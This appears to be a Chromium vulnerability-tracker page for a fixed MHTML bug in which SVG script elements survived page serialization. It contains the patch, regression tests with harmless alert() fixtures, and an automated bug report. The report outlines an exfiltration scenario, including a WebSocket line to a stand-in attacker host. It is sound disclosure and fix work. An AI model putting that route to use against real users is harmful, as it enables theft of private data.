Overview

Low
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in MHTML
DescriptionInappropriate implementation in MHTML
ComponentMHTML
Bug ClassLogic Error
Tracker499194407
Fix commit51ac3bc3dfdf (chromium/src) +44/-4
CISA KEVNot listed
CreditedGoogle
Disclosed2026-05-05

Changed Functions

FunctionChangeNotes
TEST_F
third_party/blink/renderer/core/frame/frame_serializer_test.cc
modified

Files Changed

  • third_party/blink/renderer/core/frame/frame_serializer.cc
  • third_party/blink/renderer/core/frame/frame_serializer_test.cc
  • third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
  • third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
  • third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
From 51ac3bc3dfdfaae83e8b61c11477c33349746fe8 Mon Sep 17 00:00:00 2001
From: Andrew Paseltiner <[email protected]>
Date: Fri, 03 Apr 2026 11:13:57 -0700
Subject: [PATCH] [MHTML] Strip SVG script elements during serialization

FrameSerializer was only stripping HTML script elements, but not SVG
script elements. When MHTML Improvements are enabled, scripts can
execute in MHTML documents, which could lead to security issues if
injected SVG scripts are preserved.

This CL updates FrameSerializer::WillProcessElement to use the virtual
IsScriptElement() method, which correctly identifies and strips both
HTML and SVG script elements.

Fixed: 499194407
Change-Id: I44de472efbbccff02179af697d019a227fc32828
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7726689
Reviewed-by: Dan Harrington <[email protected]>
Reviewed-by: Ian Kilpatrick <[email protected]>
Commit-Queue: Andrew Paseltiner <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1609869}
---

diff --git a/third_party/blink/renderer/core/frame/frame_serializer.cc b/third_party/blink/renderer/core/frame/frame_serializer.cc
index 5aecec8b..abe11b02 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer.cc
@@ -666,10 +666,7 @@
   }
 
   EmitElementChoice WillProcessElement(const Element& element) override {
-    if (IsA<HTMLScriptElement>(element)) {
-      return EmitElementChoice::kIgnore;
-    }
-    if (IsA<HTMLNoScriptElement>(element)) {
+    if (element.IsScriptElement() || IsA<HTMLNoScriptElement>(element)) {
       return EmitElementChoice::kIgnore;
     }
     auto* meta = DynamicTo<HTMLMetaElement>(element);
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
             250U);
 }
 
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_script.html", "text/html");
+  Serialize("svg_script.html");
+
+  String data = GetSerializedData("svg_script.html", "text/html");
+  EXPECT_FALSE(data.contains("<script"));
+  EXPECT_FALSE(data.contains("svg script"));
+  EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_onload.html", "text/html");
+  Serialize("svg_onload.html");
+
+  String data = GetSerializedData("svg_onload.html", "text/html");
+  EXPECT_FALSE(data.contains("onload"));
+  EXPECT_FALSE(data.contains("onclick"));
+}
+
 TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
   SetBaseFolder("frameserializer/image/");
 
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
 testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
 testing/data/frameserializer/svg/green_rectangle.svg
 testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
 testing/data/frameserializer/xml/xmldecl.xml
 testing/data/fullscreen_div.html
 testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+  <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/renderer/core/frame/frame_serializer_test.cc b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
index f7a2ec8..d327750 100644
--- a/third_party/blink/renderer/core/frame/frame_serializer_test.cc
+++ b/third_party/blink/renderer/core/frame/frame_serializer_test.cc
@@ -562,6 +562,29 @@
             250U);
 }
 
+TEST_F(FrameSerializerTest, SVGScriptElementStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_script.html", "text/html");
+  Serialize("svg_script.html");
+
+  String data = GetSerializedData("svg_script.html", "text/html");
+  EXPECT_FALSE(data.contains("<script"));
+  EXPECT_FALSE(data.contains("svg script"));
+  EXPECT_FALSE(data.contains("html script"));
+}
+
+TEST_F(FrameSerializerTest, EventHandlersStripped) {
+  SetBaseFolder("frameserializer/svg/");
+
+  RegisterURL("svg_onload.html", "text/html");
+  Serialize("svg_onload.html");
+
+  String data = GetSerializedData("svg_onload.html", "text/html");
+  EXPECT_FALSE(data.contains("onload"));
+  EXPECT_FALSE(data.contains("onclick"));
+}
+
 TEST_F(FrameSerializerTest, DontIncludeErrorImage) {
   SetBaseFolder("frameserializer/image/");
diff --git a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
index 03dd574b0..4bdae5e 100644
--- a/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
+++ b/third_party/blink/renderer/core/testing/data/core_test_bundle_data.filelist
@@ -208,6 +208,8 @@
 testing/data/frameserializer/rewritelinks/rewritelinks_simple.html
 testing/data/frameserializer/svg/green_rectangle.svg
 testing/data/frameserializer/svg/page_with_svg_image.html
+testing/data/frameserializer/svg/svg_onload.html
+testing/data/frameserializer/svg/svg_script.html
 testing/data/frameserializer/xml/xmldecl.xml
 testing/data/fullscreen_div.html
 testing/data/fullscreen_iframe.html
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
new file mode 100644
index 0000000..70623b21
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_onload.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg" onload="alert('svg onload')">
+  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
+</svg>
+<div onclick="alert('html onclick')">Click me</div>
+</body>
+</html>
diff --git a/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
new file mode 100644
index 0000000..dc93b76
--- /dev/null
+++ b/third_party/blink/renderer/core/testing/data/frameserializer/svg/svg_script.html
@@ -0,0 +1,9 @@
+<!DOCTYPE html>
+<html>
+<body>
+<svg xmlns="http://www.w3.org/2000/svg">
+  <script>alert('svg script');</script>
+</svg>
+<script>alert('html script');</script>
+</body>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

Information Leak via Incomplete Script Stripping in FrameSerializer (MHTML)

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the security team.

Overview: When saving a page as MHTML, FrameSerializer attempts to strip scripts but fails to remove SVGScriptElement. If the kMHTML_Improvements feature is enabled, scripts are allowed to execute in MHTML files, and because CSP is intentionally stripped during serialization, an injected SVG script can execute and exfiltrate private page data via WebSockets.

Affected files:

  • third_party/blink/renderer/core/frame/frame_serializer.cc
  • content/browser/renderer_host/navigation_policy_container_builder.cc

Estimated timestamp from git blame: 2024-10-25

Root Cause

When saving a webpage as an MHTML archive, Chrome attempts to strip executable scripts to prevent security issues when the saved page is reopened. This logic resides in FrameSerializer::WillProcessElement (third_party/blink/renderer/core/frame/frame_serializer.cc).

Currently, the function checks for and ignores HTMLScriptElement and HTMLNoScriptElement. However, it fails to check for SVGScriptElement. As a result, <script> tags embedded within an <svg> namespace are not stripped and are preserved verbatim in the resulting .mhtml file.

Historically, MHTML documents were loaded with strict sandbox flags that prohibited script execution. However, when the experimental blink::features::kMHTML_Improvements feature is enabled, NavigationPolicyContainerBuilder::ComputeSandboxFlags explicitly removes the kScripts restriction from the MHTML sandbox flags, assuming that FrameSerializer has already safely removed all scripts.

Compounding the issue, FrameSerializer::ShouldIgnoreMetaElement explicitly removes <meta http-equiv="Content-Security-Policy"> tags to ensure MHTML subresources load correctly. Since HTTP response headers are also not serialized, the saved MHTML file has no CSP.

Potential Attack Scenario

The following steps describe how an attacker could potentially exploit this logic flaw:

  1. Injection: An attacker injects a malicious SVG script (e.g., <svg xmlns="http://www.w3.org/2000/svg"><script>/* Malicious code */</script></svg>) into a target website (e.g., via a comment section). The site’s CSP prevents it from executing on the live site.
  2. Saving: A victim, authenticated to the site, views a page containing both their private data and the inert SVG payload. The victim saves the page locally (Ctrl+S) as a single-file MHTML.
  3. Serialization Bypass: FrameSerializer strips the site’s CSP meta tags but fails to strip the SVGScriptElement, embedding both the private data and the malicious script in the local .mhtml file.
  4. Execution: The victim later opens the saved MHTML file. With kMHTML_Improvements enabled, the sandbox allows scripts to execute. The lack of CSP allows the SVG script to run.
  5. Exfiltration: The executing script reads the serialized DOM (containing the victim’s private data). Standard fetch() calls are blocked by ResourceFetcher in MHTML contexts, but the script can successfully open a WebSocket (new WebSocket('wss://attacker.com')) because WebSockets route through BrowserInterfaceBroker, bypassing ResourceFetcher’s local-only archive restrictions. The data is exfiltrated to the attacker.

Note: These steps are based on static code analysis, as our tooling does not yet have the ability to run a live Proof of Concept.

Suggested Fix

Update FrameSerializer::WillProcessElement in third_party/blink/renderer/core/frame/frame_serializer.cc to correctly identify and strip all script elements.

Instead of explicitly checking for HTMLScriptElement, it should check if the element is a script element. For example:

if (IsA<HTMLScriptElement>(element) || IsA<SVGScriptElement>(element)) {
  return EmitElementChoice::kIgnore;
}

Alternatively, consider using the virtual IsScriptElement() method defined on Element if applicable.

Evaluated with Chrome root at commit: ff3d2b74fa39431785bd60e51463b08fcc71ee33


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker
Links in the report